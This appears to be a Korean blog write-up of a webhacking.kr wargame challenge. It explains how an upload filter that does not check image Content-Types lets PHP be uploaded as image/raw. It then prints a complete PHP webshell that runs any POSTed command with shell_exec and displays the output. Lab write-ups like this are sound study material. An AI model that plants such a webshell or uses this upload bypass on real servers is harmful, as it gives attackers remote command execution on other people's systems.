문제에서 바로 webshell을 업로드하라고 합니다.
파일을 업로드하려고 하면 php 파일이든 어떤 파일이든 일단은 wrong type을 출력했습니다.
올바른 타입은 확장자로 필터링하는 게 아닌가 하여 쭉 업로드해보는 과정에서 .raw 파일은 업로드가 가능하였습니다.
raw 파일은 Content-Type이 image/raw이기 때문에 가능한 것으로 보입니다.
image 파일에 대한 Content-Type은 필터가 이루어지지 않은것으로 보아 해당 타입으로 PHP 소스를 업로드해보면 Webshell이 잘 업로드되는 것을 확인할 수 있습니다.
업로드된 웹쉘로 파일을 읽어보면 플래그가 나옵니다.
제 코드는 아니지만 제가 기본적으로 활용하는 Simple PHP Webshell 코드입니다.
<?php if (!empty($_POST['cmd'])) { $cmd = shell_exec($_POST['cmd']); } ?> <!DOCTYPE html> <html> <!-- By Artyum (https://github.com/artyuum) --> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css"> <title>Web Shell</title> <style> h2 { color: rgba(0, 0, 0, .75); } pre { padding: 15px; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; background-color: #ECF0F1; } .container { width: 850px; } </style> </head> <body> <div class="container"> <div class="pb-2 mt-4 mb-2"> <h1>PHP Shell</h1> <h2> Execute a command </h2> </div> <form method="POST"> <div class="form-group"> <label for="cmd"><strong>Command</strong></label> <input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required> </div> <button type="submit" class="btn btn-primary">Execute</button> </form> <?php if ($cmd): ?> <div class="pb-2 mt-4 mb-2"> <h2> Output </h2> </div> <pre> <?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?> </pre> <?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?> <div class="pb-2 mt-4 mb-2"> <h2> Output </h2> </div> <pre><small>No result.</small></pre> <?php endif; ?> </div> </body> </html>
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No47(150) - old (0) | 2020.01.15 |
---|---|
Webhacking.kr_No46(300) - old (0) | 2020.01.15 |
Webhacking.kr_No45(550) - old (0) | 2020.01.13 |
Webhacking.kr_No44(250) - old (0) | 2020.01.13 |
Webhacking.kr_No42(200) - old (0) | 2020.01.08 |
Webhacking.kr_No41(250) - old (0) | 2020.01.08 |
Webhacking.kr_No40(500) - old (0) | 2020.01.08 |
Webhacking.kr_No39(100) - old (0) | 2020.01.07 |